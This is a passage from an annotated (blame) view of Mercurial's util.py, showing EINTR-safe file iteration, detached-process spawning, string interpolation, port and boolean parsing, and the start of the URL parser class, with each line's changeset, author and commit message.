1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2549 # fp.readline deals with EINTR correctly, use it as a workaround.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2550 def _safeiterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2551 return iter(fp.readline, '')
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2552 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2553 # fp.read* are broken too, manually deal with EINTR in a stupid way.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2554 # note: this may block longer than necessary because of bufsize.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2555 def _safeiterfile(fp, bufsize=4096):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2556 fd = fp.fileno()
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2557 line = ''
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2558 while True:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2559 try:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2560 buf = os.read(fd, bufsize)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2561 except OSError as ex:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2562 # os.read only raises EINTR before any data is read
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2563 if ex.errno == errno.EINTR:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2564 continue
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2565 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2566 raise
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2567 line += buf
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2568 if '\n' in buf:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2569 splitted = line.splitlines(True)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2570 line = ''
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2571 for l in splitted:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2572 if l[-1] == '\n':
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2573 yield l
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2574 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2575 line = l
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2576 if not buf:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2577 break
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2578 if line:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2579 yield line
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2580
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2581 def iterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2582 fastpath = True
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2583 if type(fp) is file:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2584 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2585 if fastpath:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2586 return fp
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2587 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2588 return _safeiterfile(fp)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2589 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2590 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2591 def iterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2592 return fp
30405
10514a92860e util: add iterfile to workaround a fileobj.__iter__ issue with EINTR
Jun Wu <quark@fb.com>
parents: 30369
diff changeset
2593
7879
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
2594 def iterlines(iterator):
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
2595 for chunk in iterator:
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
2596 for line in chunk.splitlines():
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
2597 yield line
9610
d78fe60f6bda make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents: 9569
diff changeset
2598
d78fe60f6bda make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents: 9569
diff changeset
2599 def expandpath(path):
d78fe60f6bda make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents: 9569
diff changeset
2600 return os.path.expanduser(os.path.expandvars(path))
10239
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
2601
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
2602 def hgcmd():
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
2603 """Return the command used to execute current hg
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
2604
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
2605 This is different from hgexecutable() because on Windows we want
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
2606 to avoid things opening new shell windows like batch files, so we
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
2607 get either the python call or current executable.
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
2608 """
14228
116de1da2154 rename util.main_is_frozen to mainfrozen
Adrian Buehlmann <adrian@cadifra.com>
parents: 14167
diff changeset
2609 if mainfrozen():
27766
198f78a52a2f util: adjust hgcmd() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents: 27765
diff changeset
2610 if getattr(sys, 'frozen', None) == 'macosx_app':
198f78a52a2f util: adjust hgcmd() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents: 27765
diff changeset
2611 # Env variable set by py2app
30642
344e68882cd3 py3: replace os.environ with encoding.environ (part 4 of 5)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30630
diff changeset
2612 return [encoding.environ['EXECUTABLEPATH']]
27766
198f78a52a2f util: adjust hgcmd() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents: 27765
diff changeset
2613 else:
30672
10b17ed9b591 py3: replace sys.executable with pycompat.sysexecutable
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30647
diff changeset
2614 return [pycompat.sysexecutable]
10239
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
2615 return gethgcmd()
10344
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2616
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2617 def rundetached(args, condfn):
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2618 """Execute the argument list in a detached process.
10422
600142e7a028 util: fix trailing whitespace found by check-code
Augie Fackler <durin42@gmail.com>
parents: 10344
diff changeset
2619
10344
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2620 condfn is a callable which is called repeatedly and should return
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2621 True once the child process is known to have started successfully.
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2622 At this point, the child process PID is returned. If the child
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2623 process fails to start or finishes before condfn() evaluates to
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2624 True, return -1.
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2625 """
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2626 # Windows case is easier because the child process is either
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2627 # successfully starting and validating the condition or exiting
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2628 # on failure. We just poll on its PID. On Unix, if the child
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2629 # process fails to start, it will be left in a zombie state until
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2630 # the parent wait on it, which we cannot do since we expect a long
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2631 # running process on success. Instead we listen for SIGCHLD telling
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2632 # us our child process terminated.
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2633 terminated = set()
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2634 def handler(signum, frame):
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2635 terminated.add(os.wait())
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2636 prevhandler = None
14968
b7dbe957585c util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents: 14942
diff changeset
2637 SIGCHLD = getattr(signal, 'SIGCHLD', None)
b7dbe957585c util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents: 14942
diff changeset
2638 if SIGCHLD is not None:
b7dbe957585c util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents: 14942
diff changeset
2639 prevhandler = signal.signal(SIGCHLD, handler)
10344
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2640 try:
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2641 pid = spawndetached(args)
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2642 while not condfn():
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2643 if ((pid in terminated or not testpid(pid))
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2644 and not condfn()):
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2645 return -1
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2646 time.sleep(0.1)
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2647 return pid
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2648 finally:
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2649 if prevhandler is not None:
9501cde4c034 util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents: 10282
diff changeset
2650 signal.signal(signal.SIGCHLD, prevhandler)
10438
e6dc44147234 util: add any() and all() functions for Python 2.4 compatibility
Steve Losh <steve@stevelosh.com>
parents: 10422
diff changeset
2651
13392
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2652 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
11988
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2653 """Return the result of interpolating items in the mapping into string s.
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2654
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2655 prefix is a single character string, or a two character string with
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2656 a backslash as the first character if the prefix needs to be escaped in
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2657 a regular expression.
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2658
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2659 fn is an optional function that will be applied to the replacement text
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2660 just before replacement.
13392
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2661
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2662 escape_prefix is an optional flag that allows using doubled prefix for
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2663 its escaping.
11988
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2664 """
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2665 fn = fn or (lambda s: s)
13392
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2666 patterns = '|'.join(mapping.keys())
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2667 if escape_prefix:
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2668 patterns += '|' + prefix
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2669 if len(prefix) > 1:
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2670 prefix_char = prefix[1:]
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2671 else:
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2672 prefix_char = prefix
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
2673 mapping[prefix_char] = prefix_char
35166
25c543944bc0 py3: add b'' to regular expressions which are raw strings
Pulkit Goyal <7895pulkit@gmail.com>
parents: 35053
diff changeset
2674 r = remod.compile(br'%s(%s)' % (prefix, patterns))
11988
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2675 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
2676
12076
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2677 def getport(port):
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2678 """Return the port for a given network service.
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2679
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2680 If port is an integer, it's returned as is. If it's a string, it's
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2681 looked up using socket.getservbyname(). If there's no matching
26587
56b2bcea2529 error: get Abort from 'error' instead of 'util'
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 26493
diff changeset
2682 service, error.Abort is raised.
12076
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2683 """
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2684 try:
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2685 return int(port)
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2686 except ValueError:
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2687 pass
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2688
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2689 try:
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2690 return socket.getservbyname(port)
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2691 except socket.error:
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
2692 raise Abort(_("no port number associated with service '%s'") % port)
12087
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
2693
12088
1f71dffabc53 parsebool: accept always as true and never as false
Augie Fackler <durin42@gmail.com>
parents: 12087
diff changeset
2694 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
1f71dffabc53 parsebool: accept always as true and never as false
Augie Fackler <durin42@gmail.com>
parents: 12087
diff changeset
2695 '0': False, 'no': False, 'false': False, 'off': False,
1f71dffabc53 parsebool: accept always as true and never as false
Augie Fackler <durin42@gmail.com>
parents: 12087
diff changeset
2696 'never': False}
12087
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
2697
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
2698 def parsebool(s):
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
2699 """Parse s into a boolean.
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
2700
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
2701 If s is not a valid boolean, returns None.
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
2702 """
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
2703 return _booleans.get(s.lower(), None)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2704
14077
c285bdb0572a util.url: copy urllib.unquote() into util to improve startup times
Brodie Rao <brodie@bitheap.org>
parents: 14076
diff changeset
2705 _hextochr = dict((a + b, chr(int(a + b, 16)))
30054
8b89521a69ba util: use string.hexdigits instead of defining it ourselves
Augie Fackler <augie@google.com>
parents: 30053
diff changeset
2706 for a in string.hexdigits for b in string.hexdigits)
14077
c285bdb0572a util.url: copy urllib.unquote() into util to improve startup times
Brodie Rao <brodie@bitheap.org>
parents: 14076
diff changeset
2707
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2708 class url(object):
14146
1618c4f6f15b tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents: 14100
diff changeset
2709 r"""Reliable URL parser.
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2710
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2711 This parses URLs and provides attributes for the following
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2712 components:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2713
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2714 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2715
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2716 Missing components are set to None. The only exception is
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2717 fragment, which is set to '' if present but empty.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2718
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2719 If parsefragment is False, fragment is included in query. If
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2720 parsequery is False, query is included in path. If both are
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2721 False, both fragment and query are included in path.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2722
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2723 See http://www.ietf.org/rfc/rfc2396.txt for more information.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2724
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2725 Note that for backward compatibility reasons, bundle URLs do not
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2726 take host names. That means 'bundle://../' has a path of '../'.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2727
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2728 Examples:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2729
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2730 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2731 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2732 >>> url(b'ssh://[::1]:2200//home/joe/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2733 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2734 >>> url(b'file:///home/joe/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2735 <url scheme: 'file', path: '/home/joe/repo'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2736 >>> url(b'file:///c:/temp/foo/')
14915
28edd65000d9 url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents: 14825
diff changeset
2737 <url scheme: 'file', path: 'c:/temp/foo/'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2738 >>> url(b'bundle:foo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2739 <url scheme: 'bundle', path: 'foo'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2740 >>> url(b'bundle://../foo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
2741 <url scheme: 'bundle', path: '../foo'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2742 >>> url(br'c:\foo\bar')
14146
1618c4f6f15b tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents: 14100
diff changeset
2743 <url path: 'c:\\foo\\bar'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2744 >>> url(br'\\blah\blah\blah')
14699
388af80c058b url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14640
diff changeset
2745 <url path: '\\\\blah\\blah\\blah'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
